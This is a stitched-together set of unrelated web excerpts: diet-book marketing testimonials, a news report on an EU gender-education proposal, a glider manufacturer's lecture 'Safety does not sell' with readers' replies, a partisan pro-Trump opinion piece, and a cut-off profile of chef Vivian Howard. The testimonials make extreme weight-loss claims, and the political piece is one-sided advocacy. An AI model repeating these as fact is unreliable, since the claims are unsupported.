Loss Handbook, Lyle McDonald has distilled this method with decades of research behind it into practical guidelines, with easy-to-understand categories depending on your starting point in bodyfat, weight and fitness level.  You will learn how to set up the diet, implement free meals and refeeds to not only maintain metabolism but also make the diet easier to follow. Follow the guidelines in this book, where Lyle even provides you with free online resources on how to set up meal plans and an exercise program, and you will lose a lot of fat in a very short time while preserving muscle mass and strength.”  Borge (aka Blade) – Norway  MyoRevolution  “Thank you so much for writing your book. I’ve done low carb dieting and intense exercise in the past and lost 42 pounds in 58 days only to gain it all back and more over the last two years. Like many others I took things to the extreme and could not maintain. I completed banned all carbs, even some good ones. I started low carbing again about a week before I ordered your book online to lose excess water by banning carbs and I didn’t think to incorporate some really healthy high fiber carbs in portion controlled amounts into my prior weight loss as I do with my two free meals. Thanks to your advice I have successfully lost 22 pounds in 2 weeks. My water retention, high blood pressure is down and my glucose is in balance. I feel great, I’m not hungry, the fish oil is amazing and this really doesn’t feel like a diet. The two regular meals on Sat and Tuesday with exercise a few times a week really help keep me on track. I make sensible choices and I don’t feel deprived. I feel this is a lifestyle I can enjoy permanently.”  D. McGruder – Florida  “Muata over at mrlowbodyfat.com suggested I send you an email. I found your RFL diet on his blog, and between his inspirational posts and your easy to follow diet, I’ve just completed an 8 week run of RFL starting as a 255 lb cat 3 and ending as a 224 cat 2. I’m going to take a 2 week break, which actually falls at a great time with Memorial day, my birthday, and my daughter’s birthday, and resume as a cat 2 dieter. I just want to say thanks for developing this diet, and staying active with it with the blog and following the forums. Most diet author types might write the book, but then there is no more contact. You, on the other hand, are available and helpful. thanks.”  Scott C – Jupiter, Florida  Book Format Information  The Rapid Fat Loss Handbook comes in a variety of formats which has caused some confusion. All versions of the product come with digital downloads of the Home Exercise Handbook and the Calculator instructions.  The PDF only version comes with the PDF version of the The Rapid Fat Loss Handbook along with the additional files.  The Kindle only version comes with a single Kindle file containing all three files.  The Hardcopy bundle comes with a physical copy of the book and the two digital files.  The Hardcopy + PDF bundle comes with a physical copy of the book along with the PDF version of the main book and the two digital files.  The Hardcopy + Kindle bundle comes with a physical copy of the book along with the Kindle version of the main book (which includes the Home Exercise Handbook and Calculator instructions).  The Rapid Fat Loss Handbook can also be purchased as part of a Complete Rapid Fat Loss Program (link will take you to an external site) including The Rapid Fat Loss Handbook itself, A Guide to Flexible Dieting, The Home Exercise Handbook, a Home Exercise Handbook Video library, and the Calculator instructions.  If you are confused over which version to order, please feel free to email me directly.
-MEPs have revealed they want boys to learn about traditionally ‘female’ activities and should be taught domestic work and care at school.  The Brussels politicians said they want to stand against ‘sexist’ education by encouraging children to take an equal interest in all subjects ‘beyond gendered stereotypes’.  They hope that girls will take up scientific and technical subjects while boys could take up activities such as cleaning the home.  MEPs have revealed they want boys to learn about traditionally ‘female’ activities and should be taught domestic work and care at school  Textbooks showing old-fashioned stereotypes about male and female roles would also be thrown out of schools, under the European Parliament’ proposals.  The suggestions were made in the report on Empowering Girls Through Education from the Parliament’s FEMM Committee on Women’s Rights and Gender Equality, with MEPs approving the proposals by 408 to 236.  The report says it 'encourages girls and boys in the education process to take an equal interest in all subjects, beyond gendered stereotypes, in particular as regards scientific and technical subjects, including boys’ learning about activities regarded as female, in areas such as domestic work and care’.  The Brussels politicians said they want to stand against ‘sexist’ education by encouraging children to take an equal interest in all subjects ‘beyond gendered stereotypes’  Another point says that schools should be guided ‘to embrace a gender perspective and gender equality, and to ensure the elimination of stereotypes and sexist distortions that textbooks and teaching materials may include in their content.'  It added: '[This will then] encourage them also to combat this sexism in literature, film, music, games, media, advertising and other areas that can contribute decisively to changing the attitudes, behaviour and identity of girls and boys’.  Portuguese socialist MEP Liliana Rodrigues, who spearheaded the proposals, said: ‘We are still living in an unequal Europe…women continue to be a prime target for discrimination and violence. I believe that school plays a fundamental role in changing this.  ‘[We want to] create a school culture of gender equality, critically oversee the curricula and educational materials, ensure gender equality with regard to personal and professional decisions and improve the percentage of women in positions of responsibility.’  But Leading Labour Eurosceptic MP Kate Hoey told The Daily Express: ‘I have confidence in our nation’s ability to deal with educating our own children. It is time for the EU to stop wasting money on interfering in matters that are none of their business.’
-This is the text of a lecture from the German Glider Pilot Symposium held November 21, 2000 in Stuttgart as well as Febr. 3rd 2001 in Unterwössen for members of the German National Contest Groupn.  Dear Glider pilots – as most of us are.  It has been seven years since I founded DG Flugzeugbau and began our first Internet appearance. Via the Internet, I received an e-mail with a lapidary text from the representative of a US competitor who wrote:  “Friedel, you are learning a very important thing: Safety does not sell.”  Being new to the business, and full of energy, I thought I really wanted to prove them wrong!  Yes, and four years later, I am addressing a lecture on this very topic. I have drawn on my personal experience and can’t help but ponder if it is worthwhile for a glider manufacturer to produce safety devices like, for example the automobile industry. They have been doing it for years, it has become second nature.  We begin therefore with a little trip into a neighboring industry:  No automaker can take the liberty today to not equip their vehicles with the latest safety equipment, following engineering tests. If a Norwegian auto tester performs one completely non-practical test and the new car almost flips over, the whole world laughs at the “moose test” and a new buzzword of the year is born.  It wasn’t always like that. In the 1970, all cars came equipped with seatbelts, but almost no one used them. Then the law enabled penalties for those not wearing seatbelts, and the following year there were 1500 fewer deaths! This safety consciousness in the car industry has steadily increased, with fewer accidents despite the rising number of vehicles on the road. Can such a shift of consciousness occur with us?  Another example: Everyone knows that driving a motorcycle is dangerous. And each motorcyclist wears a protective helmet and special clothes. In addition modern machines have an aerodynamic design giving wind protection, also the shin guards of today are much better designed to protect more than in former times. A motorcyclist acknowledges the fact that his hobby is dangerous and therefore voluntarily buys very expensive protective clothing. And us? It is nevertheless actually possible to develop mechanisms to increase security in the glider and to market them. There would just have to actually be a demand for it .  If we want to examine this topic a little closer, ask yourself these questions:  What is this really about?  Is it a valid statement?  What are the reasons?  What can and should we do?  First let’s take a glance at some of DG’s safety developments of the past seven years. Some of these will even be new to you:  Emergency egress assistance. Many of the visitors to our website have already downloaded the spectacular video-clip of one of our apprentices at the time being thrown out of the cockpit of a DG-808.  he idea is actually quite simple. In case of emergency, a pilot can egress quickly and reliably from the cockpit by way of an inflatable air cushion. The system will only function if the canopy has been released – thus during normal flight, it is blocked. Pulling the release will release the seat and shoulder belts, after which the air pillow inflates, lifting the pilot to the edge of the cockpit. Actual “stepping out” is then limited to a lateral rollout by the pilot.  Also a parachute jump would have to actually be possible at airfield traffic circuit height – and in still lower heights neither collisions with other gliders nor other reasons for an emergency exit are probable.  In the meantime, we could gain knowledge in the inconceivable case that the NOAH system would release unintentionally. Would it break all the pilot’s ribs? What would happen if he remained seated with the belts buckled?  Someone in the plant made the seat buckle nonfunctional, and a visitor wanted to try out the NOAH……..  So, we are in the fortunate position of being able to interview the “dummy” after the test. He said that he was pressed into the belts no more harshly than when pulling negative G’s in a loop. There is a secondary capillary opening allowing the pillow to deflate within about 30 seconds. Therefore, in the “impossible case” of a malfunction, nothing bad happens at all.  When the NOAH system came out 7 years ago, Glaser-Dirks (our predecessor company) received 5 orders, one of them from me. Since then we sold about 20 systems, and with about 45 new single-seaters per year, the NOAH system wasn’t exactly a “sales hit”.  By the way, the NOAH system could in itself fill an entire lecture. If you’re interested, please see our website.  The Consummate Safety Cockpit  The safety conscious surely know the investigations of Martin Sperber of the TUEV Rheinland crash tests with glider cockpits. He had asked the different manufacturers for a test cockpit and my predecessor had at that time been ready to supply one. The results were simply terrible!  That is also the reason, why Martin Sperber only showed the high-speed film of the crash to us and does not publicize it. Naturally such pictures can be business damaging.  Really?  He said it to us and I repeat it here: What occurred with a cockpit of the DG-800 in the case of the impact at 70 km/h, would have occurred also with every other single-seater cockpit offered today. Professor Roeger of Aachen University of Applied Sciences determined similar results: It let a fuselage fall from a rack and strike at a speed of 6 m/sec. That should simulate the impact that occurs with “landing” with a well-designed total rescue system. The fuselage – a quantity production of a competitor – bore the impact.  Then Professor Roeger repeated the test with a falling speed of 8 m/sec. ! It is the opinion that with the parachute sizes, the following impact would occur. The result was such that one shows no pictures of it. So what’s 8 m/sec? Only 29 km/hour! The cockpit would never survive a real crash.  So, what is to be done? Martin Sperber suggested a set of measures, in order to make a fuselage clearly more crash resistant: Two very strong stringers from the front to the rear transverse force pipe are to direct the collision forces around the pilot – just like a sturdy cage around the passenger space in the automobile.  There is additional reinforcements to prevent bursting of the fuselage and an additional frame in the back of the fuselage against indenting. A fuselage so equipped passed the same test and bored itself “only” deeply into the container. Due to these tests we developed a “consistently safe cockpit” and we offer exactly these additional reinforcements as an option.  This is the most expensive of our developments in addition, the most important, because a cockpit always breaks open in a crash. It uses up an additional 2 cm of space in the workstation in the shoulder width, because somewhere the strong stringers must be fixed to the workstation. And then some pilots say to me, that it’s already tight without the reinforcement. My standard response then always is: “True, but the fit is closer still in the coffin!” – well, I believe so anyway! Possibly these are the same people squeezing themselves into so-called “competition cockpits” from other manufacturers, which are still smaller. However, perhaps 0.2 points of lift/drag ratio less resistance the result!  How many safety cockpits did we sell so far? I fly in in one. Other than that, sales have been non-existent  Piggott-Hook  The Piggott Hook is now something completely new however one cannot buy it at all: It is included in all our new glider series.  In Albuquerque in spring 2000 the well-known Glider Instructor, Derek Piggott from England addressed me and explained the idea:  “An inadvertently unlocked air brake can work it’s way open during takeoff and bring the pilots into serious danger even resulting in a crash.”  That can be prevented by metal flange on the inside wall of the cockpit with several teeth and an appropriate hook at the linkage. The hook intervenes in a tooth and cannot run any longer automatically to the rear. The pilot needs only to grasp the handle and turn only a little and the hooks is released. That is ingeniously easy – to build and develop at low cost and is a reliable means to eliminate a frequent cause of accidents.  It personally annoyed me that we had not come up with the idea!  I accelerated the development, after I found myself taking off while on vacation with an unlocked air brake. My glider launched nevertheless, and nothing serious happened.  Is it not depressing that Derek Piggott said to me, he brought this suggestion via the different SSA Conventions to all German manufacturers described and nobody so far has taken up the suggestion!?  Why not?  Why don’t glider pilots demand safety-increasing developments with their gliders?  Canopy safety lock pin – Roeger Hook  You are surely familiar with the functioning of the Roeger Hook: If the pilot must leave an airplane by parachute, it will generally be falling downward in a completely uncontrollable flight attitude. The wind pressure against the canopy makes it difficult to eject. If however the canopy is to be thrown off, there is a great danger that it will strike the pilot in the side of the head if there is any lateral motion. Only about 50% of all attempted parachute jumps succeed. The other half ends deadly and often is due to the fact that the pilot is temporarily knocked out by a contact with at least the canopy framework and was therefore not able to exit. The Roeger Hook holds the canopy in the back, so that it can open only in front and fly in a high arc over the pilot’s head before rotating away. This is such an elementary safety device that the Roeger Hook is now logical with all newly certified airplanes with forward opening canopies. But what about the many older gliders and those, which are built still with old certifications? Unfortunately there was an accident in the United States, in which exactly the operational sequence described above occurred:  From the pilot’s head wounds it could be proven clearly that he had gotten the canopy framework to release and was knocked out by it. The American Federal Office of Aviation inquired therefore with us whether there would be a re-tooling possibility for a Roeger Hook or something similar. And in such a way we developed the canopy safety lock pin and by way of a Technical Note to all owners of older DG gliders we advise them of the optional retrofitting. In order to promote the sales of this important safety device, we established also quite a cheap price – 50 Euro for the complete set. And now guess how many canopy safety lock pins we sold in one year after the publication? Of a possible 1,400 airplanes concerned: 28 canopy safety lock pins were sold within two years – That‘s 2 % of owners. Is it because it‘s not fun?  Or: Safety does NOT sell! There are probably many ways to increase the safety of gliders. As a glider manufacturer, however, the development of such mechanisms has not been worthwhile so far. In order to describe it in monetary terms, we spent about 250,000 Euro on development costs of the described mechanisms.  Perhaps you work at Airbus Industries and are of the opinion, that this is not very much. But these 250,000 Euro are from my own pocket. I felt a certain responsibility to do what was possible and I am sour now, because it was obviously to a considerable degree futile! What is the situation? 1. Are these safety options perhaps too expensive? Well, this cannot be the case, as proven by the story of the canopy safety lock pin. But Martin Volck had a much better and more general response in glider symposium in Stuttgart with his lecture: “How much is a glider pilot’s life worth?” Many will have read that it delivered the costs of a set of measures added and the estimate that the number of deaths could be reduced by 40%, if all airplanes were provided with these mechanisms. Since we with the Noah and the Piggott hook offer still more, I estimate a survival or an accident avoidance chance of even 50%. The remainder is then mathematics:  The number of deaths with gliders over ten years in Germany is as well known as the life span of the airplanes and its number. Hence it follows that each airplane would be involved, on the average each 600 years in a deadly accident. That sounds like a lot, it means that in a thirty-year life span with each 20 airplanes one crash with a fatal outcome occurs. All DG measures cost together about 9,000 Euro. With 19 of the 20 aircraft, an unnecessary investment – however with the twentieth, a 50% probability life-saving. Thus it costs about 360,000 Euro to save a glider pilot’s life (9,000 X 20 / 0.5).  We won‘t even talk about the reduction in injuries up to wheelchair results. Dear pilots – there is hardly a life-saving measure, which would be cheaper in the world. Or perhaps: A pilot buys the machine of his dreams and pays all together easily more than 120,000 Euro. However it does not even estimate his own life to be three times as valuable as the value of his toy. Tell me, are we glider pilots collectively crazy? 2. Do we perhaps displace safety questions unconsciously? Now I am not a psychologist, but much speaks for the fact that it is like that. If a pilot thinks about safety questions, he must also admit that gliding it is not harmless – that perhaps the car ride to the airfield is not the most dangerous part. I cannot express it better than the well-known Bruno Gantenbrink in his lecture “Safety comes first”, which you should really re-read on our web page. Obviously many pilots are subject to the internal conflict, over safety questions and – to not want to think of mechanisms, because that confession results in the knowledge of partaking in a dangerous sport. A “cognitive dissonance” for you – a contradiction between own conviction and the reality. Each pilot knows not to take any unnecessary risks. Additionally one “knows” that certain errors simply don’t happen and that accidents only happen to other people. On the other hand he knows that this cannot actually be correct. Even experienced and careful pilots sometimes make “such stupid” mistakes. But can he/she admit that? My friend was a surgeon and chief doctor at an ophthalmologic clinic. By his occupation, he was an extremely meticulous person. And so were also his pre-flight checks. I always said: ” Jens, you are my life insurance. If you checked my airplane, it is completely safe.” And that’s how he flew too. From him I first heard the advice of what to do in an aborted launch, “Think down! Stuff the nose down!” And that’s exactly what happened to him at an altitude of 90 meters, after releasing the launch cable. He did not stuff the nose down, and he probably did not think. When he hung quietly in the air, he rolled and spun, four seconds into a black hole. Why exactly did I tell you this? It is a small psychological experiment:  Perhaps you are now feeling a little annoyed, and are thinking, why is Friedel Weber telling us that? What does it have to do with the Lecture? What concerns of ours is his friend? Does he always have to come back to this topic? Or do you feel a little uncomfortable? Nevertheless, we are all alone with our answers. “I do not want to hear this! ” See when we say “cognitive dissonance”?: You know very well that this could happen to you, but you do not want to admit that because it doesn’t fit into your idea of the world order. And such a conflict overcomes all humans simply by us ignoring reality. And in such a way safety consciousness is something to ponder in the distance. 3. Is it perhaps also because of the fact that we do not have a lobby, which worries about safety questions? So, what is to be done? I can point out three solutions to you. Two would not be feasible. One is feasible however will not be successful. And if you are of the opinion that this result is depressing, then consider this: 1. Are we to make all available safety devices simply the standard in each series?  That would add approximately 9,000 Euro to the cost of each airplane! And there my personal commitment now unfortunately stops: If we would make this strategic decision alone, our airplanes would be more expensive, by the amount mentioned above, than the competitors, and we could not absorb that. It would save human lives however at the cost of the existence of our company. In order for all manufacturers to offer together these technically and economically feasible safety components, they must be convinced only of the fact that the development is also worthwhile itself.  And I do not have the impression that it will be worthwhile itself in foreseeable time. 2. Are we to call after the state and request the Federal Office of Aviation to make these safety components obligatory?  I personally would not like to see that either. The state already regulates far too much, and has its hands everywhere, that I would rather leave! 3. Or are we to continue as before and trust in our customers?  Now, you must be the one to request the glider manufacturer of your choice to initiate the appropriate developments. Then you would have all safety devices that you want at your request. We manufacturers always make exactly what the market demands, that’s how this tough business works. Therefore, there is only one real solution.  The extent of the safety developments in the German glider manufacturing industry rests certainly only with the customer! It‘s all in your hands. Always, happy landings!  This article was a lead article taken from the pilots’ magazine “Luftsport”  by Holger Back Safety does not sell Friedel Weber (DG-Flugzeugbau) chose this provocative but unmistakable thesis as the subject of the speech he held during a glider pilots’ symposium in Stuttgart (Germany) in November, and also at a meeting of the German national team in Unterwössen.  “Safety does not sell” – and he proved this with some facts from the day-to-day life of a glider manufacturer. Whether it’s the comparatively simple fitting of the Röger hook, the rescue system “Noah” or the safety cockpit – the customers haven’t recognized the factory’s efforts. The financial effort of developing and certifying these safety features did not turn out to be profitable for the company. Fitting the Röger hook to older gliders for example only costs the customer 150 Euro and is proven to be a critical safety feature in the case of the pilot having to bale out – but only very few people have bought it so far. And this is not only a problem of one specific glider manufacturer.  The investments other glider manufacturers make in safety features are often ignored or, even worse, rejected. Even leading pilots are no exception. For purely aerodynamic reasons some pilots wedge themselves into the narrow cockpit – knowing that an emergency bailout will take just as long as getting in the glider. Or important safety details like for example a bigger undercarriage are rejected for weight reasons. The “leisure pilot” is no exception to this rule either. His main concern is whether the glide angle might decrease by one or two points. Safety however will not be an item on his list of priorities when buying a glider. The interest in rescue systems has clearly decreased in the past two years. A lot of people will argue that the slow development of these systems is the main reason for this. This is probably true as nobody could have foreseen how time-consuming the development and testing of the rescue systems would turn out to be. Therefore it is all the more important to show the manufacturers that pilots are indeed still interested in these systems. We have often accused the manufacturers of a lack of interest in the safety of their gliders. Times have changed, though. Glider manufacturers have done their homework. Now pilots and customers have to do their part and change their attitudes towards safety. Holger Back … and here are some reactions: betreff: Safety classification in gliders received: Sonntag, 13. Juli 2014, 15:56:40 (Sun, 13 Jul 2014 15:56:40 +0200) Dear Sirs, I have been thinking about safety issues in gliding and reading your safety related documents in your web site. Specially the one called “safety does not sell “. On my personal view, safety would be the first criteria for choosing a new glider.  However I understand that people might not want to think about that. There is a similar successful experience with energy consumptions in home appliances. People might be driven by price to buy a new washing machine but with the introduction of the Energy Efficiency classification with colours and letters in the EU. People tend to buy the most efficient. A similar system could be created in gliding, a standard classification about safety in all gliders. This could include active and passive safety. Customers might be aware that a high performance glider might not stall as nicely as a beginners glider. It could be made in a simple and transparent way, with ranking of clear things like: Hard landing absorption:  Parachute:  Ballistic parachute:  FLARM:  Piggott-Hook:  NOAH:  Stall warning indicator:  Tip stall and general stall friendly:  Spin out friendly:  Sustainer:  Instantaneous Electrical sustainer:  GPS/orientation maps:  Artificial horizon:  Cloud flying instruments:  Cabine crash cell (as Formula 1 cells):  Side string:  Rigging easiness:  ::::  ::::  :::: The list may go on with many more features… Many or them are optional in the purchase or upgrade of a glider. The inclusion of this features increase the safety classification of the glider and boost its sales. The same glider might have different classification depending on the equipment. This should be a readily available classification for all gliders in the market. Where the person purchasing the glider can easily compare: price, claim performance, claim safety and overall brand prestige, delivery times. I believe the adoption of this would benefit all of us in the future. You said in your web site that safety is in the hands of the customers when we buy a glider. Well, lets create a transparent and easy to use tool to compare the actual gliders with the safety devices on from different manufacturers. It would be great if you could forward this to relevant people. I imagine this idea is in the mind of many people around. This could be a practical way to boost safety in gliding and a way to increase the sales of your company, as I understand DG is in the forefront of safety devices. Kind regards.  Dr. Gonzalo Garcia-Atance.  PhD. Aeronautical Engineer. Betreff: Safety  Datum: Thu, 02 Aug 2001 09:41:00 -0700  Von: Pete Williams Dear K.F. I sincerely appreciate your quest for safety devices in sailplanes. You are making a contribution to the sport that may not appear to be bearing fruit now but will in the future. Having been a military (Navy) pilot for 21 years, I can attest to the problems of making pilots aware of safety. Most of the time our safety programs fell on dead ears. Pilots continued to be killed doing dumb things…yours truly almost several times. Yes there were plenty of safety devices installed including a wing fold lever that looked like a wing and actuated in the proper direction. Still one pilot tried to takeoff with the wings folded!! After being an instructor for several years I discovered that I could not convince my students to be safe, so told them they were free to kill themselves if they desired and then told them how to kill themselves. Maybe this worked because some came to me in later years to say thanks. So what to do? My recommendation is to install in all production gliders a strong cockpit including the hard cushion and the Roger hook as standard. These items are basic to surviving a crash and bailing out. The other items can be options. Pilots are no more crazy than car drivers. Both have in common haste, pride and it will never happen to me syndrome. Its normal. Of course you are not responsible to save their lives…THEY are. Keep on keeping on and recognize your time and your employees time plus your money has not been invested in vain. Pete Williams Betreff: Emergency Egress  Datum: Fri, 3 Aug 2001 11:07:42 +1000  Von: LARCEY, PAT I was interested to see your article on the inflatable cushion to assist emergency egress from the cockpit. When I was test flying RAF V Bombers in the 1960’s, in particular the Victor, the rear crew had assister cushions to assist overcoming G forces and speed the egress in the event it was necessary. Sounds a great idea to me, a consideration, probably, is to have a means of deflating it if it deploys inadvertently. I suppose that although safety might not sell, the lack of safety is an even greater deterrent, so on balance safety must sell ???? Safe flying Patrick Larcey Betreff: Re: My New DG-808B  Datum: Wed, 01 Aug 2001 10:07:36 -0500  Von: Gary Flandro Dear Friedel: I read your recent article on soaring safety with great interest and considerable concern. You should be recognized and praised for the effort you have made to improve the safety of your gliders. It should be mentioned that you have already made a very significant impact on the soaring community in terms of awareness of key safety issues. I understand your frustration with the customers for not responding more favorably to your obvious hard work in implementing important safety features in the DG sailplane designs. Please understand though that we all very much admire and appreciate your efforts. Hopefully this will pay off for your economically in the long run. I guess that I am one of the offending parties since I chose not to purchase some of the key safety devices you have developed for installation in DG-808B # 236/B150. I must tell you that I have worried about this considerably since placing the order a year ago. I think I must be typical of most buyers in that the economics played a major role in my decision. For many of us a purchase of this magnitude greatly stretches our economic limits. In other words, I had to sacrifice some safety in order to buy the glider. I hope to be able to add the DSI indicator later. I can’t give you good reasons for not purchasing the NOAH system or the special safety cockpit design. In the latter regard, I was impressed that your standard cockpit design is very good in application of Kevlar materials to improve safety. I think many pilots feel that additional crash resistance is only useful up to a certain point. In the event of a heavy impact, one wonders if there is anything that can be done to prevent serious injury. You are to be complimented for your implementation of the Piggott Hook. I hope this important step will soon be recognized by the world soaring community. You should receive an FAI award. With kindest regards,  Gary A. Flandro (DG-808B #236)  Betreff: Safety does not sell  Datum: Thu, 2 Aug 2001 05:46:12 -0400  Von: “David Noyes” You may not win the battle to sell every pilot safety devices,  but you win the hearts of all pilots and sleep with a good conscience.  Betreff: Safety does not sell  Datum: Fri, 3 Aug 2001 08:56:52  Von: Peter Redshaw Hello Friedel I would like to congratulate you on your article on safety. I believe the biggest problem is that most pilots believe it will not happen to them, in particular those that have the experience and money to be flying new gliders. To be buying expensive new kit means that they should be able to afford the marginal extra cost. On the other hand the vast majority of gliders being flown are second hand, handed down from the pilots with the money to buy new and with the alleged wisdom and experience to know that is right. They obviously do not value safety highly and are setting a bad example to the next generation of pilots. To be fair it is also true that glider manufacturers seem to be more concerned with performance than safety, as you say safety does not sell. The one exception is the barbed canopy wire deflector which sells well in Holland, but why? Has it to do with the Dutch Gliding Association? I have only ever bought one brand new glider and had every possible extra added, except for the wire deflector extra safety features were not on offer. Most of the time I have bought the best second hand machine I could afford related to my ability, they did not have safety features built in. An Oly 2B, Club Libelle, Kestrel 19, Nimbus 3, Super Falke, LS6c, DG-800B (G-BYEC) and for real fun an old Slingsby Capstan T49. The safety features you describe generally cannot be retro-fitted to any of these machines. I have had one accident in 41 years of gliding, which is close enough to your statistics. I was 26 years of age and at the stage of total self confidence. I came in nose first from about 50ft having cart-wheeled over a tree attempting a field landing. It was in the Oly 2B, the entire cockpit became match-wood back to the leading edge of the wings. What saved me was pulling myself into a ball instead of bracing myself. It in effect allowed a crush zone. I don’t remember thinking it out when it happened and I don’t know if I would have the presence of mind to repeat the trick if it happened again. In fact I couldn’t do it in most glass ships as I cannot get my legs back past the instrument panel! I have about 4000hrs gliding, instructed for 26 years, was CFI for 5 years and have 3 diamonds. I get more cautious as I get older so I appreciate your efforts. My greatest concern is having a mid air collision and it is probably true to say I believe (like most pilots) it will be the other persons fault. I therefore now ensure I have a good serviceable parachute. I have been following the development of glider recovery systems and would like to see more of this coupled with better cockpit design and crash tests.  I know a crumple zone works and you only have to look at Formula One motor racing to see the benefits of cockpits designed to withstand serious crashes. Our gliding movement is caught in a catch 22 situation, unless new machines have safety features built in then the majority of us with our second hand gliders will be flying without safety features forever. I only see one way to break this circle. Is there any chance of ALL glider manufacturers together with All National Gliding Associations, agreeing a set of safety standards/features that MUST be incorporated into ALL future designs? A long process but it might get there if ALL manufacturers include specific safety designs. Isn’t this what essentially happened on a smaller scale in Holland with the canopy wire deflector? Cheers and keep trying Peter Betreff: Glider Safety  Datum: Sun, 5 Aug 2001 23:42:09 +0100  Von: Brian Dear Sir, thank you for another excellent article on your web site about the strange situation that safety apparently does not sell. I have only been a glider pilot for about three years. At first the excitement of the sport and the challenge of learning overcame most other thoughts. After going solo the challenge of building my basic competences and gaining the Bronze badge / cross-country endorsement were uppermost in my thoughts. I told friends and family how wonderful it all was. But I found it strange how they thought I was taking a big risk with my new hobby. It is only in the last year that the risks of the sport have become my main concern. At first when I heard of a serious or fatal accident elsewhere, I assumed the people involved must have taken silly risks, or simply been very unlucky, and it couldn’t happen to me. Then I saw a couple of incidents at my airfield that could have been very serious, and was able to talk to the people involved. I realized that (of course) it could happen to me. I found out more about accidents from others at the club and by reading the published reports. Suddenly I realized that gliding was much more dangerous that I had thought. And it seemed that in many cases, the victims of accidents would have been saved if the glider had basic warning equipment like stall warning, airbrake warning on take-off. Or if the machine was easier to escape from when subjected to g-forces, or much more able to survive an impact. With about 8,500 pilots in the UK and about 8 or 9 fatal or serious accidents a year, it looks like you have a one in a thousand chance of being another statistic. Most people would not take part in anything with such a high risk. Last year, after being worried by road safety and the chances of injury in my ten year old VW Golf, I bought a nearly-new car with many modern safety devices like airbags, seat belt pre-tensioners, side impact bars, very good crumple zones, etc. Then when flying in an old glider like the PZL-SZD Junior I really started to feel exposed to physical danger, like I was sitting in a fast-moving cardboard box. This has had a bad effect on me, as I have started making excuses not to fly, and I feel I am in danger of giving up my hobby due to the risks. To overcome this I simply cannot afford a new glider with new safety devices. The club gliders that I rely on will not be replaced soon, and even if they are replaced I doubt if they will include any of the safety features that you provide in DG machines. But like the car industry in the 1970’s, it can only be a matter of time until we demand better safety. It might just take 20 years. I therefore applaud your efforts and wish you every success in making other glider pilots see the reality of the danger of their sport and demand safer aircraft. You are already well known for your stance against the safety complacency that pervades gliding. I am sure that in years to come you will be recognized as one of the most important innovators in the history of gliding. Please do not be discouraged by the poor response you get when marketing a new safety feature. There are many people like me who are increasingly worried about the lack of built-in safety in gliders. We cannot expect training alone to prevent the risks! When I win the lottery, if I am still flying, I will be sure to purchase one of your fine aircraft with all the available safety options you can build in. Many thanks,  Brian Rogers Betreff: Re: DG Flugzeugbau – Newsletter No. 34  Datum: Mon, 6 Aug 2001 14:22:34 -0400  Von: Thomas Knauff Dear Mr. Weber, Regarding your article “Safety Does no Sell.” Before seat belts were required equipment, Ford motor Co offered them as an option. Something less than 10% ordered them even though Ford priced them at no profit. Even after they were required, it took a law to force people to use them, and even now, a very high percentage do not wear them while driving. As for motor cycle helmets, they are not required everywhere, so you will see many people driving motorcycles without a helmet in those areas where the law does not require there use. Safety does not sell, and the result in our case makes flying gliders more dangerous than all other activities. Smart people choose to act dumb. Tom Knauff Betreff: Safety does not sell.  Datum: Tue, 7 Aug 2001 12:48:05 +0000 (GMT)  Von: Bernt Hustad Hembre Hi. I read your article “Safety does not sell” with great interest. I do agree with you on many of your thoughts, but there is one thing I’d like to comment. Safety does sell, it just takes a long long time.  Just remember how many years it took from it was prohibited to drive a car without wearing a seatbelt until people started to put their seatbelts on  because it was safer. In the beginning people just took them on to avoid being fined for not wearing them. I’d like to use your article as a base for a discussion on a club-evening in our glider club. I will have my focus on what can be done to increase safety, reduce the chances for damage and reduce our annual repair budget. As a conclusion I will strongly urge you to keep up the good work and continue to find new improvements regarding safety. And articles on the  subject are probably the best way of starting discussions in clubs around the world.  Bernie
-Some people think that Hillary Clinton, for all her corruption, is at least smarter than Barack Obama. Others observe her ruthlessness toward political opponents and infer that, unlike Obama, she will be a tough defender of American interests. No: for goodness’ sake, the woman has a four-year history as Secretary of State! If there is one thing we know for certain about Hillary, it is that as president she would preside over an inept and America-destructive foreign policy.  And, to put the most charitable construction on her words, the woman is an idiot. Andy McCarthy records, and places in context, Hillary’s first comment on the latest terrorist attack in France:  Let’s be clear: Islam is not our adversary. Muslims are peaceful and tolerant people and have nothing whatsoever to do with terrorism.  We simply cannot afford another four years of such mind-numbing stupidity in the White House. Donald Trump has many faults as a presidential candidate. You don’t need me to list them for you. But he is not Hillary Clinton, he is not committed to a view of the world’s dangers that is almost literally insane, and he will not give us a third Obama term in either domestic or foreign policy. He also won’t appoint people like Ruth Bader Ginsburg to the Supreme Court. Our next president will be either Donald Trump or Hillary Clinton; we desperately need for it to be Trump. He deserves, and badly needs, our financial support.
-Vivian Howard sits, her legs crossed, her feet propped on pots and pans under a stainless-steel countertop. “I have a lot of anxiety nowadays. I, for so long, identified myself as a working chef,” she says, her arms whirling as she speaks.  “I don’t do that anymore. And I feel uncomfortable with it. I don’t want to be a phony. I don’t want my cooks to see me as a phony. I don’t want to be the person who just shows up with her entourage and her cameras. But all of that is part of what’s happening. And I literally have nightmares at night about it, trying to figure out what it is I am now.  “So I don’t know. What am I?”  Then she breaks. “I’m Vivian, and I’m a chef,” she says as she bursts out laughing, and slaps the countertop. “I’m a doofus, is what I am. Lord.”  “That’s good,” says Cynthia Hill, who’s holding the boom mike. “And sorta like ending it, ‘Am I still a chef? Can we still call it A Chef’s Life?’ ”  Vivian looks back into the camera. Take two: “So I really am trying to figure out what I am,” she says.  “You want to do that again?” Cynthia asks. “You’re sort of soft-spoken.” She brings the audio level up.  Take three: “I want to be able to do it all. … But that just ain’t gonna happen, I don’t think.”  Cynthia asks Vivian to be a little more reflective. Take four: “To what degree does what I do every day define who I am? I don’t know. What do I want to do?” Vivian says. “I don’t know, Cynthia, come on! This is not healthy, talking about yourself so much.”  Vivian would much rather talk about the time when Scott Avett, who sings the show’s theme song, came to her restaurant, Chef & the Farmer. She wants to talk about how cute he is, and how she’s kinda embarrassed for fangirling over him. So she does several takes about that. It relieves some tension. Afterward, though, Vivian and the crew are spent.  “That was good, Vivian,” Cynthia says. “I know that was painful.”  Then they stop for lunch.  Over tacos, guacamole, and salsa brought from nearby Olvera Street Taqueria, Vivian and Cynthia explain how an episode of A Chef’s Life comes together. First, a camera crew goes out and follows Vivian around Kinston. They visit a farm that she uses as a supplier. Later, an editor cuts the video into scenes. Then Cynthia, the director and producer, takes the scenes; groups them based on a specific ingredient, like sweet corn, turnips, oysters, or moonshine; and assembles them into a crude episode. She figures out what’s missing, and finally it’s 